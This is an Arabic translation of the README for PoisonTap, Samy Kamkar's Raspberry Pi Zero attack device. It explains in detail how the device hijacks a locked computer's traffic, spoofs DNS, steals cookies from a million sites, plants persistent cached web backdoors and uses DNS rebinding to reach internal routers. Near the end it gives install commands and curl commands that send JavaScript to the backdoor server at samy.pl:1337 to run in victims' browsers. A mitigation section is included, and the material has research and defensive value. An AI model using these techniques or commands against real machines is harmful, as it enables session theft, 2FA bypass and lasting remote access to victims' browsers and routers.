PoisonTap - يسحب الكوكيز، ويكشف الراوتر الداخلي، ويُثبّت بابًا خلفيًا على الحواسيب المقفلة
من إنشاء @SamyKamkar || https://samy.pl
عند توصيل PoisonTap (Raspberry Pi Zero وNode.js) بجهاز كمبيوتر مقفل/محمي بكلمة مرور، فإنه:
- يحاكي جهاز إيثرنت عبر USB (أو Thunderbolt)
- يختطف كل حركة مرور الإنترنت من الجهاز (بالرغم من كونه واجهة شبكة منخفضة الأولوية/غير معروفة)
- يسحب ويخزّن كوكيز HTTP وجلسات متصفح الويب لأفضل 1,000,000 موقع من Alexa
- يكشف الراوتر الداخلي للمهاجم، مما يجعله قابلاً للوصول عن بُعد عبر WebSocket الصادر وDNS rebinding (شكرًا Matt Austin لفكرة إعادة الربط!)
- يُثبّت بابًا خلفيًا ويبيًا مستمرًا في ذاكرة HTTP المؤقتة لمئات الآلاف من النطاقات وروابط CDN الشائعة لـ Javascript، وكلها قادرة على الوصول إلى كوكيز المستخدم عبر تسميم ذاكرة التخزين المؤقت (cache poisoning)
- يسمح للمهاجم بأن يُجبر المستخدم عن بُعد على إجراء طلبات HTTP وإرجاع الاستجابات (GET وPOST) مع كوكيز المستخدم على أي نطاق مُخترَق
- لا يتطلب فتح قفل الجهاز
- يستمر الباب الخلفي والوصول عن بُعد حتى بعد إزالة الجهاز ومغادرة المهاجم
(رسوم متحركة مذهلة بلوحة HTML5 canvas من إعداد Ara)
يتجنّب PoisonTap آليات الأمان التالية:
عرض توضيحي
تم بناء PoisonTap ليعمل على Raspberry Pi Zero الذي تبلغ تكلفته 5 دولارات دون أي مكونات إضافية سوى كابل micro-USB وبطاقة microSD، ويمكن أن يعمل أيضًا على أي Raspberry Pi (1/2/3) مع دونجل إيثرنت إلى USB/Thunderbolt، أو على أجهزة أخرى يمكنها محاكاة أدوات USB مثل USB Armory وLAN Turtle.
عرض توضيحي مباشر وتفاصيل أكثر متاحة في الفيديو:
جهة الاتصال: @SamyKamkar // https://samy.pl
تاريخ الإصدار: 16 نوفمبر 2016
الكود المصدري والتنزيل: https://github.com/samyk/poisontap
كيف يعمل PoisonTap
يُحدِث PoisonTap تأثيرًا متتاليًا عبر استغلال الثقة الموجودة في آليات متعددة للجهاز والشبكة، مثل USB/Thunderbolt وDHCP وDNS وHTTP، لإنتاج تأثير كرة الثلج في سرقة المعلومات والوصول إلى الشبكة وتثبيت أبواب خلفية شبه دائمة.
باختصار، يقوم PoisonTap بما يلي:
اختطاف الشبكة
- يُدخل المهاجم PoisonTap (مثل Raspberry Pi Zero المطوَّر إلى أداة هجوم) في جهاز مقفل (حتى لو كان الجهاز محميًا بكلمة مرور)
- يحاكي PoisonTap جهاز إيثرنت (مثل الإيثرنت عبر USB/Thunderbolt) -- افتراضيًا، يتعرف Windows وOS X وLinux على جهاز الإيثرنت، ويحمّلونه تلقائيًا كجهاز شبكة منخفض الأولوية وينفذون طلب DHCP عبره، حتى عندما يكون الجهاز مقفلًا أو محميًا بكلمة مرور
- يستجيب PoisonTap لطلب DHCP ويمنح الجهاز عنوان IP، لكن استجابة DHCP مصممة لإخبار الجهاز بأن مساحة IPv4 بأكملها (0.0.0.0 - 255.255.255.255) هي جزء من الشبكة المحلية لـ PoisonTap، وليس مجرد شبكة فرعية صغيرة (مثل 192.168.0.0 - 192.168.0.255)
- عادةً لا يكون لأي جهاز شبكة ثانوي يتصل بالجهاز أي أهمية لأنه سيحصل على أولوية أقل من جهاز الشبكة الحالي (الموثوق) ولن يحل محل البوابة لحركة مرور الإنترنت، لكن...
- يتم تجاوز أي أمان لجدول التوجيه / أولوية البوابة / ترتيب خدمة واجهة الشبكة بسبب أولوية "حركة مرور الشبكة المحلية (LAN)" على "حركة مرور الإنترنت"
- يستغل PoisonTap هذا الوصول إلى الشبكة، حتى كجهاز شبكة منخفض الأولوية، لأن الشبكة الفرعية لجهاز منخفض الأولوية تُعطى أولوية أعلى من البوابة (المسار الافتراضي) لجهاز الشبكة الأعلى أولوية
- هذا يعني أنه إذا كانت حركة المرور متجهة إلى 1.2.3.4، فبينما كانت هذه الحركة ستصل عادةً إلى المسار الافتراضي/البوابة لجهاز الشبكة الأساسي (غير PoisonTap)، فإن PoisonTap يستقبلها في الواقع لأن الشبكة/الشبكة الفرعية "المحلية" الخاصة بـ PoisonTap تحتوي افتراضيًا على 1.2.3.4 وكل عنوان IP آخر موجود ؛)
- ولهذا السبب، تمر كل حركة مرور الإنترنت عبر PoisonTap، حتى لو كان الجهاز متصلًا بجهاز شبكة آخر ذي أولوية أعلى وبوابة صحيحة (شبكة wifi أو الإيثرنت الحقيقية، إلخ.)
سحب الكوكيز
- طالما أن متصفح الويب يعمل في الخلفية، فمن المرجح أن إحدى الصفحات المفتوحة ستنفذ طلب HTTP في الخلفية (على سبيل المثال لتحميل إعلان جديد، أو إرسال بيانات إلى منصة تحليلات، أو ببساطة لمتابعة تتبع تحركاتك على الويب) عبر AJAX أو وسوم script/iframe الديناميكية
- يمكنك رؤية ذلك بنفسك: افتح أدوات المطور/المفتش (عادةً Cmd+Shift+I أو Ctrl+Shift+I)، وانتقل إلى موقع يكثر زيارته، وانقر على تبويب Network، ولاحظ استمرار الوصول إلى الموارد البعيدة حتى وأنت لا تتخذ أي إجراء على الصفحة
- عند حدوث طلب HTTP هذا، ولأن كل حركة المرور تخرج عبر جهاز PoisonTap، يقوم PoisonTap بانتحال DNS على الطاير ليعيد عنوانه الخاص، مما يجعل طلب HTTP يصل إلى خادم الويب الخاص بـ PoisonTap (Node.js)
- إذا كان خادم DNS يشير إلى عنوان IP داخلي (LAN) لا يمكن لـ PoisonTap الحصول على صلاحية عليه، يستمر الهجوم في العمل لأن خادم DNS الداخلي سينتج عناوين IP عامة للنطاقات المختلفة التي يتم الهجوم عليها، وعناوين IP العامة هذه هي التي اختطفها PoisonTap بالفعل
- بمجرد استجابة خادم DNS الداخلي، يصل متصفح الويب إلى عنوان IP العام، ليصل في النهاية إلى خادم الويب الخاص بـ PoisonTap (Node.js) في كلتا الحالتين
- عندما يتلقى خادم الويب Node الطلب، يستجيب PoisonTap باستجابة يمكن تفسيرها على أنها HTML أو Javascript، وكلاهما يعمل بشكل صحيح (العديد من المواقع ستحمّل HTML أو JS في طلبات الخلفية)
- تُنشئ الصفحة المحايدة بين HTML/JS بعد ذلك العديد من iframes المخفية، كل iframe عبر نطاق مختلف من أفضل مليون نطاق في Alexa
- يتم تجاوز أي أمان "X-Frame-Options" على النطاق لأن PoisonTap هو الآن خادم HTTP وهو الذي يختار الترويسات التي سيرسلها إلى العميل
- عندما يتم إرسال كل طلب iframe إلى موقع (مثل http://nfl.com/PoisonTap)، يتم إرسال كوكيز HTTP من المتصفح إلى "عنوان IP العام" الذي اختطفه PoisonTap، والذي يسجل بسرعة معلومات الكوكيز/المصادقة، مسجلًا عشرات الآلاف من كوكيز المستخدم في PoisonTap
- يتم تجاوز أي أمان كوكيز "HttpOnly" ويتم التقاط تلك الكوكيز لأنه لا يتم تنفيذ أي Javascript على النطاق نفسه، بل يُستخدم فقط لتحميل الiframe في المقام الأول
- يتم تجاوز أي أمان لمشاركة الموارد عبر الأصول أو سياسة نفس الأصل لأن النطاق الذي يتم الوصول إليه يبدو شرعيًا للمتصفح
- نظرًا لأننا نلتقط الكوكيز بدلاً من بيانات الاعتماد، يتم تجاوز أي 2FA/MFA مطبقة على الموقع عندما يستخدم المهاجم الكوكيز لتسجيل الدخول. هذا لأننا لا نقوم فعليًا بوظيفة تسجيل الدخول بل نستمر في جلسة مسجلة الدخول بالفعل والتي لا تؤدي إلى تشغيل المصادقة الثنائية
- إذا كان الخادم يستخدم HTTPS، لكن الكوكيز لا تحدد صراحةً علامة الكوكيز Secure، يتم حماية HTTPS ويتم إرسال الكوكيز إلى PoisonTap
أبواب خلفية ويبية قابلة للوصول عن بُعد
- بينما كان PoisonTap يُنتج آلاف الـ iframes، مما يجبر المتصفح على تحميل كل واحد منها، فإن هذه الـ iframes ليست مجرد صفحات فارغة، بل هي أبواب خلفية HTML+Javascript يتم تخزينها مؤقتًا إلى أجل غير مسمى
- لأن PoisonTap يفرض تخزين هذه الأبواب الخلفية مؤقتًا على كل نطاق، يصبح الباب الخلفي مرتبطًا بذلك النطاق، مما يمكن المهاجم من استخدام كوكيز النطاق وإطلاق طلبات same-origin في المستقبل، حتى لو لم يكن المستخدم مسجلًا دخوله حاليًا
- على سبيل المثال، عندما يتم تحميل iframe الخاص بـ http://nfl.com/PoisonTap، يقبل PoisonTap حركة مرور الإنترنت المحولة ويستجيب لطلب HTTP عبر خادم الويب Node
- تتم إضافة ترويسات HTTP إضافية لتخزين الصفحة مؤقتًا إلى أجل غير مسمى
- الاستجابة الفعلية للصفحة هي مزيج من HTML وJavascript يُنشئ WebSocket مستمرًا إلى خادم المهاجم (عبر الإنترنت، وليس على جهاز PoisonTap)
- يبقى WebSocket مفتوحًا مما يسمح للمهاجم، في أي وقت في المستقبل، بالاتصال بالجهاز المخترق وتنفيذ طلبات عبر أي أصل يحتوي على الباب الخلفي (أفضل 1,000,000 موقع في Alexa -- انظر أدناه)
- إذا كان الباب الخلفي مفتوحًا على موقع واحد (مثل nfl.com)، لكن المستخدم يريد مهاجمة نطاق مختلف (مثل pinterest.com)، يمكن للمهاجم تحميل iframe على nfl.com إلى الباب الخلفي لـ pinterest.com (http://pinterest.com/PoisonTap)
- مرة أخرى، يتم تجاوز أي أمان "X-Frame-Options" ومشاركة الموارد عبر الأصول وسياسة نفس الأصل على النطاق تمامًا لأن الطلب سيصل إلى ذاكرة التخزين المؤقت التي تركها PoisonTap بدلاً من النطاق الحقيقي
الباب الخلفي للراوتر الداخلي والوصول عن بُعد
- الشبكة الوحيدة التي لا يستطيع PoisonTap اختطافها هي الشبكة الفرعية LAN الفعلية لواجهة الشبكة الحقيقية (على سبيل المثال، إذا كانت شبكة wifi الفرعية للمستخدم هي 192.168.0.x، فإن هذه الشبكة غير متأثرة)، لكن...
- يفرض PoisonTap تخزين باب خلفي مؤقتًا على مضيف خاص، وتحديدًا عنوان IP الخاص بجهاز التوجيه المستهدف مسبوقًا بـ ".ip.samy.pl"، مثل 192.168.0.1.ip.samy.pl، مما ينتج عنه فعليًا هجوم مستمر لإعادة ربط DNS (DNS rebinding)
- عند استخدام PoisonTap كخادم DNS (الضحية يستخدم خادم DNS عام)، يستجيب PoisonTap بعنوان IP المتخصص مؤقتًا (1.0.0.1)، مما يعني أن أي طلبات في تلك اللحظة ستصل إلى خادم ويب PoisonTap
- إذا تم ضبط خادم DNS على الشبكة الداخلية بدلاً من ذلك (مثل 192.168.0.x)، يتم إرسال طلب إضافي مصمم خصيصًا إلى 1.0.0.1**.pin.**ip.samy.pl والذي يطلب من خادم DNS المتخصص (على الإنترنت العام) أن يستجيب مؤقتًا لأي عنوان [ip.address].ip.samy.pl بالعنوان "المثبت" (1.0.0.1) لعدة ثوانٍ
- ثم يقوم PoisonTap بسرعة بتعيين باب خلفي على http://192.168.0.1.ip.samy.pl/PoisonTap، والذي يشير في تلك اللحظة إلى جهاز PoisonTap على 1.0.0.1، مما يسمح بالوصول إلى الباب الخلفي وتخزينه مؤقتًا من جهاز PoisonTap
- يتم تجاوز أمان تثبيت DNS وإعادة ربط DNS بسبب استنفاد جدول تثبيت DNS، بسبب مئات الآلاف من الطلبات التي تم إجراؤها للتو، ولا حاجة لإعادة ربط في المستقبل، مما يجعل هذا الهجوم مستمرًا لفترات طويلة من الزمن (شكرًا Matt Austin لمشاركته هذا الهجوم معي!)
- الآن وبعد أن تم فرض تخزين باب خلفي مؤقتًا على http://192.168.0.1.ip.samy.pl/PoisonTap، فإن أي طلبات مستقبلية إلى 192.168.0.1.ip.samy.pl ستصل إلى عنوان IP غير المثبت، مما يؤدي إلى تحليل 192.168.0.1 بدلاً من ذلك، مشيرًا مباشرة إلى الراوتر
- هذا يعني أنه إذا تم تحميل مضيف 192.168.0.1.ip.samy.pl/PoisonTap في iframe عن بُعد عبر الباب الخلفي، يمكنك الآن تنفيذ طلبات AJAX GET/POST إلى أي صفحة أخرى على الراوتر الداخلي، بالكامل عن بُعد، مما يتيح الوصول عن بُعد إلى الراوتر الداخلي
- يمكن أن يؤدي هذا إلى هجمات أخرى على الراوتر ربما لم يكن المهاجم قد حصل على وصول إليها في المقام الأول، مثل استخدام بيانات اعتماد المسؤول الافتراضية على الراوتر لاستبدال خوادم DNS، أو كشف ثغرات مصادقة أخرى
ملخص لخادم DNS:
- [ip.addy].ip.samy.pl عادةً يستجيب بعنوان [ip.addy]
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (سجل A)
- [ip.addy].pin.ip.samy.pl مؤقتًا (~5 ثوانٍ) يوجه *.ip.samy.pl إلى [ip.addy]
- 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
- 192.168.0.1.ip.samy.pl -> 1.0.0.1 (سجل A، TTL قصير)
- (بعد ~5 ثوانٍ)
- 192.168.0.1.ip.samy.pl -> 192.168.0.1 (سجل A)
أبواب خلفية ويبية إضافية قابلة للوصول عن بُعد
- بالإضافة إلى ذلك، يستبدل PoisonTap آلاف ملفات Javascript الشائعة المبنية على CDN، مثل Google وjQuery CDNs، بالكود الصحيح بالإضافة إلى باب خلفي يمنح المهاجم الوصول إلى أي نطاق يقوم بتحميل ملف Javascript المخترق القائم على CDN
- نظرًا لأنه يتم ترك باب خلفي على كل نطاق، فإن هذا يسمح للمهاجم بإجبار المتصفح المخترق عن بُعد على تنفيذ طلبات same-origin (AJAX GET/POSTs) على أي نطاق رئيسي تقريبًا، حتى لو لم تكن لدى الضحية أي نوافذ مفتوحة على ذلك النطاق في الوقت الحالي
- سيعيش الباب الخلفي الآن على أي موقع إضافي يستخدم أيضًا أحد هذه الأطر البرمجية Javascript المخترقة القائمة على HTTP وCDN عندما يزور الضحية الموقع
الحماية من PoisonTap
أمان جانب الخادم
إذا كنت تدير خادم ويب، فإن تأمين نفسك ضد PoisonTap أمر بسيط:
- استخدم HTTPS بشكل حصري، على الأقل للمصادقة والمحتوى الذي يتطلب مصادقة
- بصراحة، يجب استخدام HTTPS حصريًا ودائمًا إعادة توجيه محتوى HTTP إلى HTTPS، لمنع خداع المستخدم لتقديم بيانات الاعتماد أو معلومات التعريف الشخصية الأخرى عبر HTTP
- تأكد من تفعيل علامة Secure على الكوكيز، لمنع تسرب كوكيز HTTPS عبر HTTP
- عند استخدام موارد Javascript عن بُعد، استخدم سمة Subresource Integrity في وسم script
- استخدم HSTS لمنع هجمات خفض مستوى HTTPS
أمان سطح المكتب
- إضافة الأسمنت إلى منافذ USB وThunderbolt يمكن أن يكون فعالًا
- إغلاق متصفحك في كل مرة تبتعد فيها عن جهازك يمكن أن ينجح، لكنه غير عملي تمامًا
- تعطيل منافذ USB/Thunderbolt فعال أيضًا، لكنه أيضًا غير عملي
- قفل جهاز الكمبيوتر ليس له أي تأثير لأن مجموعتي الشبكة وUSB تعملان بينما الجهاز مقفل، ومع ذلك، الدخول في وضع سكون مشفر حيث يتطلب مفتاحًا لفك تشفير الذاكرة (مثل FileVault2 + النوم العميق) يحل معظم المشكلات لأن متصفحك لن يعد يرسل طلبات، حتى إذا تم إيقاظه
التنزيل
الكود المصدري: https://github.com/samyk/poisontap
التثبيت / شرح الملفات
ملاحظة: إذا وجدت أن الجهاز لا يعمل كوحدة تحكم إيثرنت تلقائيًا (على سبيل المثال، الإصدارات الأقدم من Windows)، يمكنك تغيير VID وPID في pi_startup.sh```bash
sudo bash
If Raspbian BEFORE 2016-05-10, then run next line:
BRANCH=next rpi-update
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
ضع ملف dhcpd.conf في /etc/dhcp/dhcpd.conf وبقية الملفات في /home/pi/poisontap، ثم أعد التشغيل للتأكد من أن كل شيء يعمل.
هناك عدد من <a href="https://github.com/samyk/poisontap" target=_blank>الملفات في المستودع</a>، والتي تُستخدم على جوانب مختلفة. وهي:
* **backdoor.html** - كلما تم الوصول إلى عنوان URL مثل http://hostname/PoisonTap لسرقة ملفات تعريف الارتباط (cookies)، فإن هذا الملف هو ما يُعاد كمحتوى مخزّن قسريًا. يحتوي على باب خلفي يُنشئ اتصال websocket صادرًا إلى samy.pl:1337 (قابل للضبط على أي مضيف/منفذ) يبقى مفتوحًا في انتظار الأوامر من الخادم. وهذا يعني أنه عند تحميل iframe على موقع ما، مثل http://hostname/PoisonTap، فهذا هو المحتوى الذي يتم ملؤه (حتى بعد إزالة PoisonTap من الجهاز).
* **backend_server.js** - هذا هو خادم Node.js الذي تشغّله على الخادم المتصل بالإنترنت. وهو ما يتصل به backdoor.html (مثل samy.pl:1337). وهو نفس الخادم الذي تتصل به لإرسال الأوامر إلى أجهزة PoisonTapped العميلة، مثل:```bash
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
- pi_poisontap.js - يعمل عبر Node.js على Raspberry Pi Zero، وهو خادم HTTP مسؤول عن معالجة أي طلبات HTTP يعترضها PoisonTap، وتخزين الكوكيز المسحوبة، وحقن البوابات الخلفية المخزنة مؤقتًا.
- pi_startup.sh - يعمل عند بدء التشغيل على Raspberry Pi Zero من أجل إعداد الجهاز لمحاكاة أداة Ethernet-over-USB، وإعداد خادم DHCP الخبيث، والسماح بإعادة توجيه حركة المرور، وانتحال DNS، وتشغيل pi_poisontap.js أعلاه.
- target_backdoor.js - يُضاف هذا الملف في بداية أي ملفات Javascript متعلقة بـ CDN، وبالتالي يزرع فيها بابًا خلفيًا، على سبيل المثال رابط jQuery الخاص بـ Google CDN.
- target_injected_xhtmljs.html - هذا هو الكود الذي يتم حقنه في طلبات HTTP/AJAX غير المقصودة/الخلفية على جهاز الضحية ويُطلق الهجوم بأكمله. وهو مُنشأ بطريقة تسمح بتفسيره كـ HTML أو كـ Javascript مع تنفيذ نفس الكود. بالإضافة إلى ذلك، لوحة HTML5 canvas المذهلة من إبداع Ara oen CodePen الرائع، وكانت رائعة جدًا لدرجة أنه كان لا بد من تضمينها. هذا هو الجنون الرسومي الذي يظهر عندما تسيطر PoisonTap على الصفحة.
- poisontap.cookies.log - يتم إنشاء هذا الملف بمجرد أن يبدأ جهاز المستخدم في إرسال طلبات HTTP إلى PoisonTap، ويقوم بتسجيل الكوكيز من المتصفح مع عنوان URL/النطاق الذي تنتمي إليه.
الأسئلة الشائعة
- س: كيف تضيف نطاقات إضافية ليتم زرع باب خلفي فيها؟
- ج: يتم تعيين قائمة النطاقات التي سيتم زرع باب خلفي فيها في
target_injected_xhtmljs.html بواسطة دالة getDoms(). وهذه القائمة نفسها يتم تعبئتها بواسطة سكربت alexa1m.sh الموجود في جذر المستودع. إذا كنت ترغب في إضافة نطاقات إضافية إلى هذه القائمة، فما عليك سوى تعديل استدعاء الإرجاع في getDoms().
- س: كيف تستخدم الكوكيز التي تم التقاطها؟
- ج: يمكنك استخدام Document.cookie API مباشرةً من وحدة تحكم JavaScript في متصفحك لتعيين الكوكيز. منشور StackOverflow هذا يحتوي أيضًا على بعض الاقتراحات الخاصة بـ Chrome، مثل إضافة Cookie Inspector الخاصة بـ Chrome.
- س: كيف أنظف PoisonTap من جهاز؟
- ج: يجب عليك مسح ذاكرة التخزين المؤقت لنظام DNS في نظام التشغيل المحلي، بالإضافة إلى أي مخزّنات مؤقتة للمتصفح. قد تحتاج أيضًا إلى إبطال أي جلسات مسجلة الدخول في ذلك الوقت، والتي قد تكون سرّبت الكوكيز. تأكد من أن هذه الإبطالات تُبطل الكوكيز الموجودة، بدلاً من مجرد تسجيل خروجك. (إذا كنت تريد العمل بأمان مع جهاز PoisonTap على جهازك الحالي، فتأكد من الخروج من أي متصفح، ثم يجب أن تكون قادرًا على توصيله بجهازك بأمان).
الاتصال
نقطة الاتصال: @SamyKamkar
يمكنك رؤية المزيد من مشاريعي أو التواصل معي على https://samy.pl.
